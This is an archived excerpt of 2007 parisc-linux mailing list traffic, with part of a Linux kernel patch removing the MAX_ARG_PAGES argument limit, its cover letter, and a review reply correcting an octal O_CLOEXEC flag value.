-			kaddr = kmap_atomic(page, KM_USER0);
-
-			/* run through page until we reach end or find NUL */
-			do {
-				ch = *(kaddr + offset);
-
-				/* discard that character... */
-				bprm->p++;
-				offset++;
-			} while (offset < PAGE_SIZE && ch != '\0');
-
-			kunmap_atomic(kaddr, KM_USER0);
-
-			/* free the old page */
-			if (offset == PAGE_SIZE) {
-				__free_page(page);
-				bprm->page[index] = NULL;
-			}
-		} while (ch != '\0');
+        int ret = 0;
+        unsigned long offset;
+        char *kaddr;
+        struct page *page;
+
+        if (!bprm->argc)
+                return 0;
+
+        do {
+                offset = bprm->p & ~PAGE_MASK;
+                page = get_arg_page(bprm, bprm->p, 0);
+                if (!page) {
+                        ret = -EFAULT;
+                        goto out;
+                }
+                kaddr = kmap_atomic(page, KM_USER0);
+
+                for (; offset < PAGE_SIZE && kaddr[offset];
+                                offset++, bprm->p++)
+                        ;
+
+                kunmap_atomic(kaddr, KM_USER0);
+                put_arg_page(page);
+
+                if (offset == PAGE_SIZE)
+                        free_arg_page(bprm, (bprm->p >> PAGE_SHIFT) - 1);
+        } while (offset == PAGE_SIZE);
+
+        bprm->p++;
+        bprm->argc--;
+        ret = 0;
 
-		bprm->argc--;
-	}
+out:
+        return ret;
 }
+
 EXPORT_SYMBOL(remove_arg_zero);
 
 /*
@@ -1062,7 +1211,7 @@ int search_binary_handler(struct linux_b
 		fput(bprm->file);
 		bprm->file = NULL;
 
-	        loader = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
+	        loader = bprm->vma->vm_end - sizeof(void *);
 
 		file = open_exec("/sbin/loader");
 		retval = PTR_ERR(file);
@@ -1156,7 +1305,6 @@ int do_execve(char * filename,
 	struct file *file;
 	unsigned long tmp;
 	int retval;
-	int i;
 
 	retval = -ENOMEM;
 	bprm = kzalloc(sizeof(*bprm), GFP_KERNEL);
@@ -1170,25 +1318,19 @@ int do_execve(char * filename,
 
 	sched_exec();
 
-	bprm->p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
-
 	bprm->file = file;
 	bprm->filename = filename;
 	bprm->interp = filename;
-	bprm->mm = mm_alloc();
-	retval = -ENOMEM;
-	if (!bprm->mm)
-		goto out_file;
 
-	retval = init_new_context(current, bprm->mm);
-	if (retval < 0)
-		goto out_mm;
+	retval = bprm_mm_init(bprm);
+	if (retval)
+		goto out_file;
 
-	bprm->argc = count(argv, bprm->p / sizeof(void *));
+	bprm->argc = count(argv, MAX_ARG_STRINGS);
 	if ((retval = bprm->argc) < 0)
 		goto out_mm;
 
-	bprm->envc = count(envp, bprm->p / sizeof(void *));
+	bprm->envc = count(envp, MAX_ARG_STRINGS);
 	if ((retval = bprm->envc) < 0)
 		goto out_mm;
 
@@ -1217,9 +1359,8 @@ int do_execve(char * filename,
 
 	retval = search_binary_handler(bprm,regs);
 	if (retval >= 0) {
-		free_arg_pages(bprm);
-
 		/* execve success */
+		free_arg_pages(bprm);
 		security_bprm_free(bprm);
 		acct_update_integrals(current);
 		kfree(bprm);
@@ -1227,26 +1368,19 @@ int do_execve(char * filename,
 	}
 
 out:
-	/* Something went wrong, return the inode and free the argument pages*/
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page * page = bprm->page[i];
-		if (page)
-			__free_page(page);
-	}
-
+	free_arg_pages(bprm);
 	if (bprm->security)
 		security_bprm_free(bprm);
 
 out_mm:
 	if (bprm->mm)
-		mmdrop(bprm->mm);
+		mmput (bprm->mm);
 
 out_file:
 	if (bprm->file) {
 		allow_write_access(bprm->file);
 		fput(bprm->file);
 	}
-
 out_kfree:
 	kfree(bprm);
 
Index: linux-2.6-2/include/asm-um/processor-i386.h
===================================================================
--- linux-2.6-2.orig/include/asm-um/processor-i386.h	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/include/asm-um/processor-i386.h	2007-06-05 16:29:45.000000000 +0200
@@ -67,9 +67,6 @@ static inline void rep_nop(void)
 #define current_text_addr() \
 	({ void *pc; __asm__("movl $1f,%0\n1:":"=g" (pc)); pc; })
 
-#define ARCH_IS_STACKGROW(address) \
-       (address + 32 >= UPT_SP(&current->thread.regs.regs))
-
 #define KSTK_EIP(tsk) KSTK_REG(tsk, EIP)
 #define KSTK_ESP(tsk) KSTK_REG(tsk, UESP)
 #define KSTK_EBP(tsk) KSTK_REG(tsk, EBP)
Index: linux-2.6-2/include/asm-um/processor-x86_64.h
===================================================================
--- linux-2.6-2.orig/include/asm-um/processor-x86_64.h	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/include/asm-um/processor-x86_64.h	2007-06-05 16:29:45.000000000 +0200
@@ -44,9 +44,6 @@ static inline void arch_copy_thread(stru
 #define current_text_addr() \
 	({ void *pc; __asm__("movq $1f,%0\n1:":"=g" (pc)); pc; })
 
-#define ARCH_IS_STACKGROW(address) \
-        (address + 128 >= UPT_SP(&current->thread.regs.regs))
-
 #define KSTK_EIP(tsk) KSTK_REG(tsk, RIP)
 #define KSTK_ESP(tsk) KSTK_REG(tsk, RSP)
 
Index: linux-2.6-2/include/linux/binfmts.h
===================================================================
--- linux-2.6-2.orig/include/linux/binfmts.h	2007-06-05 16:29:41.000000000 +0200
+++ linux-2.6-2/include/linux/binfmts.h	2007-06-05 16:29:45.000000000 +0200
@@ -5,12 +5,9 @@
 
 struct pt_regs;
 
-/*
- * MAX_ARG_PAGES defines the number of pages allocated for arguments
- * and envelope for the new program. 32 should suffice, this gives
- * a maximum env+arg of 128kB w/4KB pages!
- */
-#define MAX_ARG_PAGES 32
+/* FIXME: Find real limits, or none. */
+#define MAX_ARG_STRLEN (PAGE_SIZE * 32)
+#define MAX_ARG_STRINGS 0x7FFFFFFF
 
 /* sizeof(linux_binprm->buf) */
 #define BINPRM_BUF_SIZE 128
@@ -24,7 +21,12 @@ struct pt_regs;
  */
 struct linux_binprm{
 	char buf[BINPRM_BUF_SIZE];
+#ifdef CONFIG_MMU
+	struct vm_area_struct *vma;
+#else
+# define MAX_ARG_PAGES	32
 	struct page *page[MAX_ARG_PAGES];
+#endif
 	struct mm_struct *mm;
 	unsigned long p; /* current top of mem */
 	int sh_bang;
@@ -69,7 +71,7 @@ extern int register_binfmt(struct linux_
 extern int unregister_binfmt(struct linux_binfmt *);
 
 extern int prepare_binprm(struct linux_binprm *);
-extern void remove_arg_zero(struct linux_binprm *);
+extern int __must_check remove_arg_zero(struct linux_binprm *);
 extern int search_binary_handler(struct linux_binprm *,struct pt_regs *);
 extern int flush_old_exec(struct linux_binprm * bprm);
 
@@ -86,6 +88,7 @@ extern int suid_dumpable;
 extern int setup_arg_pages(struct linux_binprm * bprm,
 			   unsigned long stack_top,
 			   int executable_stack);
+extern int bprm_mm_init(struct linux_binprm *bprm);
 extern int copy_strings_kernel(int argc,char ** argv,struct linux_binprm *bprm);
 extern void compute_creds(struct linux_binprm *binprm);
 extern int do_coredump(long signr, int exit_code, struct pt_regs * regs);
Index: linux-2.6-2/include/linux/mm.h
===================================================================
--- linux-2.6-2.orig/include/linux/mm.h	2007-06-05 16:29:43.000000000 +0200
+++ linux-2.6-2/include/linux/mm.h	2007-06-05 16:29:45.000000000 +0200
@@ -786,7 +786,6 @@ static inline int handle_mm_fault(struct
 
 extern int make_pages_present(unsigned long addr, unsigned long end);
 extern int access_process_vm(struct task_struct *tsk, unsigned long addr, void *buf, int len, int write);
-void install_arg_page(struct vm_area_struct *, struct page *, unsigned long);
 
 int get_user_pages(struct task_struct *tsk, struct mm_struct *mm, unsigned long start,
 		int len, int write, int force, struct page **pages, struct vm_area_struct **vmas);
@@ -812,6 +811,9 @@ extern unsigned long move_page_tables_up
 extern unsigned long do_mremap(unsigned long addr,
 			       unsigned long old_len, unsigned long new_len,
 			       unsigned long flags, unsigned long new_addr);
+extern int mprotect_fixup(struct vm_area_struct *vma,
+			  struct vm_area_struct **pprev, unsigned long start,
+			  unsigned long end, unsigned long newflags);
 
 /*
  * Prototype to add a shrinker callback for ageable caches.
@@ -1130,6 +1132,9 @@ extern int expand_stack(struct vm_area_s
 #ifdef CONFIG_IA64
 extern int expand_upwards(struct vm_area_struct *vma, unsigned long address);
 #endif
+#ifdef CONFIG_STACK_GROWSUP
+extern int expand_downwards(struct vm_area_struct *vma, unsigned long address);
+#endif
 
 /* Look up the first VMA which satisfies  addr < vm_end,  NULL if none. */
 extern struct vm_area_struct * find_vma(struct mm_struct * mm, unsigned long addr);
Index: linux-2.6-2/mm/mmap.c
===================================================================
--- linux-2.6-2.orig/mm/mmap.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/mm/mmap.c	2007-06-05 16:29:45.000000000 +0200
@@ -1557,33 +1557,13 @@ int expand_upwards(struct vm_area_struct
 }
 #endif /* CONFIG_STACK_GROWSUP || CONFIG_IA64 */
 
-#ifdef CONFIG_STACK_GROWSUP
-int expand_stack(struct vm_area_struct *vma, unsigned long address)
-{
-	return expand_upwards(vma, address);
-}
-
-struct vm_area_struct *
-find_extend_vma(struct mm_struct *mm, unsigned long addr)
-{
-	struct vm_area_struct *vma, *prev;
-
-	addr &= PAGE_MASK;
-	vma = find_vma_prev(mm, addr, &prev);
-	if (vma && (vma->vm_start <= addr))
-		return vma;
-	if (!prev || expand_stack(prev, addr))
-		return NULL;
-	if (prev->vm_flags & VM_LOCKED) {
-		make_pages_present(addr, prev->vm_end);
-	}
-	return prev;
-}
-#else
 /*
  * vma is the first one with address < vma->vm_start.  Have to extend vma.
  */
-int expand_stack(struct vm_area_struct *vma, unsigned long address)
+#ifndef CONFIG_STACK_GROWSUP
+static inline
+#endif
+int expand_downwards(struct vm_area_struct *vma, unsigned long address)
 {
 	int error;
 
@@ -1620,6 +1600,34 @@ int expand_stack(struct vm_area_struct *
 	return error;
 }
 
+#ifdef CONFIG_STACK_GROWSUP
+int expand_stack(struct vm_area_struct *vma, unsigned long address)
+{
+	return expand_upwards(vma, address);
+}
+
+struct vm_area_struct *
+find_extend_vma(struct mm_struct *mm, unsigned long addr)
+{
+	struct vm_area_struct *vma, *prev;
+
+	addr &= PAGE_MASK;
+	vma = find_vma_prev(mm, addr, &prev);
+	if (vma && (vma->vm_start <= addr))
+		return vma;
+	if (!prev || expand_stack(prev, addr))
+		return NULL;
+	if (prev->vm_flags & VM_LOCKED) {
+		make_pages_present(addr, prev->vm_end);
+	}
+	return prev;
+}
+#else
+int expand_stack(struct vm_area_struct *vma, unsigned long address)
+{
+	return expand_downwards(vma, address);
+}
+
 struct vm_area_struct *
 find_extend_vma(struct mm_struct * mm, unsigned long addr)
 {
Index: linux-2.6-2/mm/mprotect.c
===================================================================
--- linux-2.6-2.orig/mm/mprotect.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/mm/mprotect.c	2007-06-05 16:29:45.000000000 +0200
@@ -128,7 +128,7 @@ static void change_protection(struct vm_
 	flush_tlb_range(vma, start, end);
 }
 
-static int
+int
 mprotect_fixup(struct vm_area_struct *vma, struct vm_area_struct **pprev,
 	unsigned long start, unsigned long end, unsigned long newflags)
 {
Index: linux-2.6-2/arch/ia64/ia32/binfmt_elf32.c
===================================================================
--- linux-2.6-2.orig/arch/ia64/ia32/binfmt_elf32.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/arch/ia64/ia32/binfmt_elf32.c	2007-06-05 16:29:45.000000000 +0200
@@ -195,62 +195,23 @@ ia64_elf32_init (struct pt_regs *regs)
 	ia32_load_state(current);
 }
 
+#undef setup_arg_pages
+
 int
 ia32_setup_arg_pages (struct linux_binprm *bprm, int executable_stack)
 {
-	unsigned long stack_base;
-	struct vm_area_struct *mpnt;
-	struct mm_struct *mm = current->mm;
-	int i, ret;
-
-	stack_base = IA32_STACK_TOP - MAX_ARG_PAGES*PAGE_SIZE;
-	mm->arg_start = bprm->p + stack_base;
-
-	bprm->p += stack_base;
-	if (bprm->loader)
-		bprm->loader += stack_base;
-	bprm->exec += stack_base;
-
-	mpnt = kmem_cache_zalloc(vm_area_cachep, GFP_KERNEL);
-	if (!mpnt)
-		return -ENOMEM;
-
-	down_write(&current->mm->mmap_sem);
-	{
-		mpnt->vm_mm = current->mm;
-		mpnt->vm_start = PAGE_MASK & (unsigned long) bprm->p;
-		mpnt->vm_end = IA32_STACK_TOP;
-		if (executable_stack == EXSTACK_ENABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS |  VM_EXEC;
-		else if (executable_stack == EXSTACK_DISABLE_X)
-			mpnt->vm_flags = VM_STACK_FLAGS & ~VM_EXEC;
-		else
-			mpnt->vm_flags = VM_STACK_FLAGS;
-		mpnt->vm_page_prot = (mpnt->vm_flags & VM_EXEC)?
-					PAGE_COPY_EXEC: PAGE_COPY;
-		if ((ret = insert_vm_struct(current->mm, mpnt))) {
-			up_write(&current->mm->mmap_sem);
-			kmem_cache_free(vm_area_cachep, mpnt);
-			return ret;
-		}
-		current->mm->stack_vm = current->mm->total_vm = vma_pages(mpnt);
-	}
+	int ret;
 
-	for (i = 0 ; i < MAX_ARG_PAGES ; i++) {
-		struct page *page = bprm->page[i];
-		if (page) {
-			bprm->page[i] = NULL;
-			install_arg_page(mpnt, page, stack_base);
-		}
-		stack_base += PAGE_SIZE;
+	ret = setup_arg_pages(bprm, IA32_STACK_TOP, executable_stack);
+	if (!ret) {
+		/*
+		 * Can't do it in ia64_elf32_init(). Needs to be done before
+		 * calls to elf32_map()
+		 */
+		current->thread.ppl = ia32_init_pp_list();
 	}
-	up_write(&current->mm->mmap_sem);
 
-	/* Can't do it in ia64_elf32_init(). Needs to be done before calls to
-	   elf32_map() */
-	current->thread.ppl = ia32_init_pp_list();
-
-	return 0;
+	return ret;
 }
 
 static void
Index: linux-2.6-2/arch/x86_64/ia32/ia32_aout.c
===================================================================
--- linux-2.6-2.orig/arch/x86_64/ia32/ia32_aout.c	2007-06-05 16:23:16.000000000 +0200
+++ linux-2.6-2/arch/x86_64/ia32/ia32_aout.c	2007-06-05 16:29:45.000000000 +0200
@@ -404,7 +404,7 @@ beyond_if:
 
 	set_brk(current->mm->start_brk, current->mm->brk);
 
-	retval = ia32_setup_arg_pages(bprm, IA32_STACK_TOP, EXSTACK_DEFAULT);
+	retval = setup_arg_pages(bprm, IA32_STACK_TOP, EXSTACK_DEFAULT);
 	if (retval < 0) { 
 		/* Someone check-me: is this error path enough? */ 
 		send_sig(SIGKILL, current, 0); 
Index: linux-2.6-2/kernel/auditsc.c
===================================================================
--- linux-2.6-2.orig/kernel/auditsc.c	2007-06-05 16:29:41.000000000 +0200
+++ linux-2.6-2/kernel/auditsc.c	2007-06-05 16:31:28.000000000 +0200
@@ -848,7 +848,7 @@ static void audit_log_execve_info(struct
 		long ret;
 		char *tmp;
 
-		len = strnlen_user(p, MAX_ARG_PAGES*PAGE_SIZE);
+		len = strnlen_user(p, MAX_ARG_STRLEN);
 		/*
 		 * We just created this mm, if we can't find the strings
 		 * we just copied in something is _very_ wrong.

-- 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <a.p.zijlstra@chello.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH 0/4] no MAX_ARG_PAGES
Date: Tue, 05 Jun 2007 17:05:23 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20070605150523.786600000__19987.8012216233$1416624390$gmane$org@chello.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624390 24491 80.91.229.3 (22 Nov 2014 02:46:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:30 +0000 (UTC)
Cc: Andrew Morton <akpm@osdl.org>,
 Ingo Molnar <mingo@elte.hu>,
 Andi Kleen <ak@suse.de>,
 Ollie Wild <aaw@google.com>,
 Peter Zijlstra <a.p.zijlstra@chello.nl>
To: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 linux-mm@kvack.org,
 linux-arch@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2007 15:14:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 05 Jun 2007 17:14:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 972217DE05;
	Tue,  5 Jun 2007 09:14:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11707-03; Tue, 5 Jun 2007 09:14:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ADAE7DE12;
	Tue,  5 Jun 2007 09:14:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A89FE7DE05
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11321-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 5 Jun 2007 09:14:25 -0600 (MDT)
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by free.linux.hp.com (Postfix) with ESMTP id B7B287DDFB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  5 Jun 2007 09:14:25 -0600 (MDT)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.13.1/8.13.1) with ESMTP id l55FEEhS024780;
	Tue, 5 Jun 2007 11:14:14 -0400
Original-Received: from pobox.stuttgart.redhat.com (pobox.stuttgart.redhat.com
	[172.16.2.10])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id l55FEC53001861;
	Tue, 5 Jun 2007 11:14:13 -0400
Original-Received: from taijtu.programming.kicks-ass.net (vpn-4-44.str.redhat.com
	[10.32.4.44])
	by pobox.stuttgart.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id
	l55FEBvg004470; Tue, 5 Jun 2007 17:14:12 +0200
Original-Received: by taijtu.programming.kicks-ass.net (Postfix, from userid 0)
	id 92CF5A36C0E; Tue,  5 Jun 2007 17:13:47 +0200 (CEST)
User-Agent: quilt/0.46-1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: jxAHEoUxbXBtibqHPTQ2drEqLyUmZQh2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24644


This patch-set aims at removing the current limit on argv+env space aka.
MAX_ARG_PAGES.

The new mm is created before the binfmt code runs, the stack is placed at the
highest address supported by that architecture.

The argv+env data is then copied from the old mm into the new mm (which is
inactive at that time - this introduces some cache coherency issues).

Then we run the binfmt code, which will compute the final stack address. The
existing stack will be moved downwards (or upwards on PA-RISC) to the desired
place.

This 'trick' heavily relies on the MMU, so for no-MMU archs we stay with the
old approach.

Tested-on: i386, ia64, frv, parisc, ppc64, um, x86_64

Patches against: .22-rc4

-- 
Changes since last time:

 - fixed ia64
     ( va-space constraints )

 - fixed ia64 CONFIG_IA32_SUPPORT
     ( brown paper bags and more va-space constraints)

 - fixed powerpc
     ( address limit on stack extention )

 - removed audit_kill() in favour of audit_panic()

 - nicely spit out the patches

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Byron Stanoszek <bstanoszek@comtime.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Introduce O_CLOEXEC (take >2)
Date: Fri, 1 Jun 2007 15:17:03 -0400 (EDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.0706011510220.26938__29048.9730811261$1416624390$gmane$org@winds.org>
References: <200705311809.l4VI9F9X009556@devserv.devel.redhat.com>
	<20070531162021.4cd4e91a.akpm@linux-foundation.org>
	<20070601113840.813463db.sfr@canb.auug.org.au>
	<20070601030754.GB14217@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII;
  format=flowed
X-Trace: ger.gmane.org 1416624390 24494 80.91.229.3 (22 Nov 2014 02:46:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:30 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
 Chris Zankel <chris@zankel.net>,
 linux-kernel@vger.kernel.org,
 Ulrich Drepper <drepper@redhat.com>,
 Andrew Morton <akpm@linux-foundation.org>,
 torvalds@linux-foundation.org,
 mingo@elte.hu,
 parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jun 2007 20:37:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 05 Jun 2007 22:37:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9806E7DE4F;
	Tue,  5 Jun 2007 14:37:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13739-08; Tue, 5 Jun 2007 14:37:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54C4A7DE52;
	Tue,  5 Jun 2007 14:37:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 542F37DDA0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 13:17:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17458-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Jun 2007 13:17:05 -0600 (MDT)
Original-Received: from winds.org (winds.org [68.75.195.9])
	by free.linux.hp.com (Postfix) with ESMTP id 6037C7DD9C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Jun 2007 13:17:05 -0600 (MDT)
Original-Received: by winds.org (Postfix, from userid 100)
	id 02DA01ED28F; Fri,  1 Jun 2007 15:17:04 -0400 (EDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by winds.org (Postfix) with ESMTP id 00AED1BD148;
	Fri,  1 Jun 2007 15:17:03 -0400 (EDT)
X-X-Sender: gandalf@winds.org
In-Reply-To: <20070601030754.GB14217@fattire.cabal.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Tue, 05 Jun 2007 14:37:19 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tvtDbui2Li5n1PfRZWtpod5jZml1ZBi7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24645

On Thu, 31 May 2007, Kyle McMartin wrote:

> On Fri, Jun 01, 2007 at 11:38:40AM +1000, Stephen Rothwell wrote:
>> This also breaks Alpha (which uses 02000000 for O_DIRECT) and parisc
>> (which uses 02000000 for O_RSYNC).  So you ether need to choose a
>> different value or define O_CLOEXEC for those two architectures.
>>
>
> That's easy enough to fix...
>
> Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>
>
> diff --git a/include/asm-parisc/fcntl.h b/include/asm-parisc/fcntl.h
> index 317851f..4ca0fb0 100644
> --- a/include/asm-parisc/fcntl.h
> +++ b/include/asm-parisc/fcntl.h
> @@ -14,6 +14,7 @@
> #define O_DSYNC		01000000 /* HPUX only */
> #define O_RSYNC		02000000 /* HPUX only */
> #define O_NOATIME	04000000
> +#define O_CLOEXEC	08000000 /* set close_on_exec */
>
> #define O_DIRECTORY	00010000 /* must be a directory */
> #define O_NOFOLLOW	00000200 /* don't follow links */

These are octal values, so you really want to use 010000000 instead of
08000000. :-)

While looking at that file further, I noticed these two flags share the same
value. I don't know DMAPI/XDSM, but could they potentially conflict?

#define O_NOATIME       04000000
#define O_INVISIBLE     04000000 /* invisible I/O, for DMAPI/XDSM */

Regards,
  -Byron

--
Byron Stanoszek                         Ph: (330) 644-3059
Systems Programmer                      Fax: (330) 644-8110
Commercial Timesharing Inc.             Email: byron@comtime.com
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Glibc testfailures with various kernels
Date: Tue, 12 Jun 2007 15:35:53 -0400
Lines: 111
Approved: news@gmane.org
Message-ID: <5b2e36650706121235i38d0979fo73bb5540a9c1e9ad__22609.0711811141$1416624390$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1563119468=="
X-Trace: ger.gmane.org 1416624390 24496 80.91.229.3 (22 Nov 2014 02:46:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:30 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2007 19:36:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 12 Jun 2007 21:36:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 41E167DD9B;
